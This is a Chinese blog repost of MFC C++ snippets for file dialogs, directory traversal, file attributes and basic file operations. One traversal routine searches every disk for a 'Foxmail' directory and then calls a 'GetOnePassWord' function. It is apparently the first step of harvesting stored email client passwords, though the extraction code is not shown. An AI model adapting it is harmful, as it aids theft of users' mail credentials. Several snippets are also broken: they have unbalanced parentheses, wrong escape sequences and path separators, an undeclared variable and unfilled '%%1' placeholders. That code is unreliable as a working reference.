随心动

MFC文件(转)

转自:http://blog.csdn.net/qqtian1110/article/details/5855203
1、
1//打开文件对话框 获取路径
2    CFileDialog dlg(1,NULL,NULL,OFN_HIDEREADONLY ,"All Files(*.*)|*.*||");
3    if(IDOK!=dlg.DoModal())
4        return;
5    FilePath = dlg.GetPathName();
6
2、
 1//打开文件夹 获取路径    
 2    BROWSEINFO   bi;       
 3    char   dispname[MAX_PATH],   path[MAX_PATH];       
 4    ITEMIDLIST   *   pidl;       
 5    bi.hwndOwner   =   0;       
 6    bi.pidlRoot   =   0;       
 7    bi.pszDisplayName   =   dispname;       
 8    bi.lpszTitle   =   "选择文件夹";       
 9    bi.ulFlags   =   BIF_RETURNONLYFSDIRS;       
10    bi.lpfn   =   0;       
11    bi.lParam   =   0;       
12    bi.iImage   =   0;       
13    if (pidl = SHBrowseForFolder(&bi))//弹出文件夹浏览窗口,并选取目录   
14    {       
15        if(  SHGetPathFromIDList(pidl,   path)   ==   TRUE   )   
16            FilePath   =   path   ;   
17        else   
18            FilePath.Empty();  
19        UpdateData(FALSE);
20    }
3、//遍历每个磁盘下的所有文件、文件夹
 1void TCFindFile(CString FilePath)  
 2{  
 3    OutputDebugString("TCFindFile");  
 4    CFileFind find;  
 5    CString Dir = FilePath+"*.*";  
 6      
 7    BOOL res =find.FindFile(Dir);  
 8      
 9    //OutputDebugString(Dir);   
10    if (!res)  
11    {  
12        OutputDebugString("DiskScanOver!");  
13        return;  
14    }
  
15      
16    while(res)  
17    {  
18        CString Filename;  
19        CString tmp;  
20        res = find.FindNextFile();  
21        if (find.IsDirectory() && !find.IsDots())   //目录是文件夹   
22        {     
23            Filename = find.GetFileName();  
24            tmp = Dir.Left(Dir.GetLength() - 3+ Filename;  
25            if (Filename == "Foxmail")  
26            {  
27                //执行后续操作   
28                OutputDebugString(tmp);  
29                TheRightFoxmailPath = tmp;  
30                OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD");  
31                GetOnePassWord();  
32                return;  
33            }
  
34            tmp += "//";  
35            TCFindFile(tmp);  
36        }
  
37    }
  
38}
4、
 1//获取指定目录下的所有文件函数 
 2BOOL GetFileProc(CString strDir)  
 3{  
 4    CFileFind szFind;  
 5    char szTempFileFind[MAX_PATH];  
 6    sprintf(szTempFileFind, "%s//*.*", strDir);  
 7    BOOL IsFind = szFind.FindFile(szTempFileFind);  
 8    while(IsFind)  
 9    {  
10        IsFind = szFind.FindNextFile();  
11        if (!szFind.IsDots())   //掉除"."/".."   
12        {  
13            if (!szFind.IsDirectory())  //不是目录   
14            {  
15                char szFoundFileName[MAX_PATH] = "/0";  
16                lstrcpy(szFoundFileName, szFind.GetFileName().GetBuffer(MAX_PATH));  
17                  
18                if (szFoundFileName[0]))  
19                {  
20                    char szTempFile[MAX_PATH];  
21                    sprintf(szTempFile, "%s//%s", strDir,szFoundFileName);  
22                      
23                    //处理这个文件   
24                }
  
25            }
  
26        }
  
27    }
  
28    szFind.Close();  
29    return TRUE;  
30}
 


5、转自:http://hi.baidu.com/gclsoft/blog/item/d526b963128211dae6113ac1.html
 1//MFC 获取文件属性 
 2
 3UpdateData(TRUE);
 4//在打开文件对话框中选择文件
 5CFileDialog FileDlg(TRUE,NULL,NULL,OFN_HIDEREADONLY, "All Files (*.*)|*.*||");
 6//如果未打开文件,则返回
 7if (FileDlg.DoModal()==IDCANCEL) return;
 8//获取打开文件的路径
 9m_strFileName=FileDlg.GetPathName();
10//声明文件属性变量
11CFileStatus status;
12
13CFile::GetStatus(m_strFileName, status);
14//获取文件名
15m_strFullName.Format("文件名: %s",status.m_szFullName);
16//获取文件大小
17m_strSize.Format("文件大小: %d字节",status.m_size);
18//获取文件的创建时间
19    m_strCreateTime=status.m_ctime.Format("创建时间: %Y年%m月%d日 %H:%M:%S");
20//获取文件的修改时间
21m_strModifyTime=status.m_mtime.Format("修改时间: %Y年%m月%d日 %H:%M:%S");
22//获取文件的最后访问时间
23m_strAccessTime=status.m_atime.Format("访问时间: %Y年%m月%d日");
24//获取文件属性
25m_strAttribute.Format("属性: %s%s%s%s",
26   (status.m_attribute&CFile::readOnly) == CFile::readOnly  ? "只读 ":"",
27   (status.m_attribute&CFile::hidden) == CFile::hidden ? "隐藏 ":"",
28   (status.m_attribute&CFile::system) == CFile::system ? "系统 ":"",
29   (status.m_attribute&CFile::archive) == CFile::archive ? "存档 ":"");
30
31UpdateData(FALSE); 
//网上下载
 1//1.创建文件夹 
 2    CreateDirectory(%%1,NULL);
 3 //2.创建文件 
 4    CFile file; 
 5    file.Open(%%1,CFile::modeCreate|CFile::modeWrite);?
 6 //3.删除文件 
 7    DeleteFile(%%1);
 8 //4.删除文件夹 RemoveDirectory(%%1);
 9 //5.删除一个目录下所有的文件夹 
10    CFileFind finder;
11    BOOL bWorking = finder.FindFile(%%1+"\\*.*");
12    while(bWorking) 
13    {
14        bWorking = finder.FindNextFile(); 
15        if(finder.IsDirectory()) 
16        {
17            dir.Delete(finder.GetFilePath()); 
18        }
 
19    }

20 //6.清空文件夹 
21    RemoveDirectory(%%1);
22    CreateDirectory(%%1,NULL)
23 //7.读取文件 
24    char sRead[1024]; 
25    CFile mFile(_T(%%1),CFile::modeRead); 
26    while(sRead!=null
27    {
28        mFile.Read(sRead,1024); 
29        CString %%2 = CString(sRead); 
30    }

31 //8.写入文件 
32    CFile mFile(_T(%%1),CFile::modeWrite|CFile::modeCreate);
33    mFile.Write(%%2,sizeof(%%2)); mFile.Flush(); mFile.Close();

posted on 2012-07-15 23:31 陈志远 阅读(225) 评论(0)  编辑 收藏 引用

导航

<2020年4月>
2930311234
567891011
12131415161718
19202122232425
262728293012
3456789

统计

常用链接

留言簿

随笔档案

文章分类

Othor's blog

搜索

最新评论

阅读排行榜

评论排行榜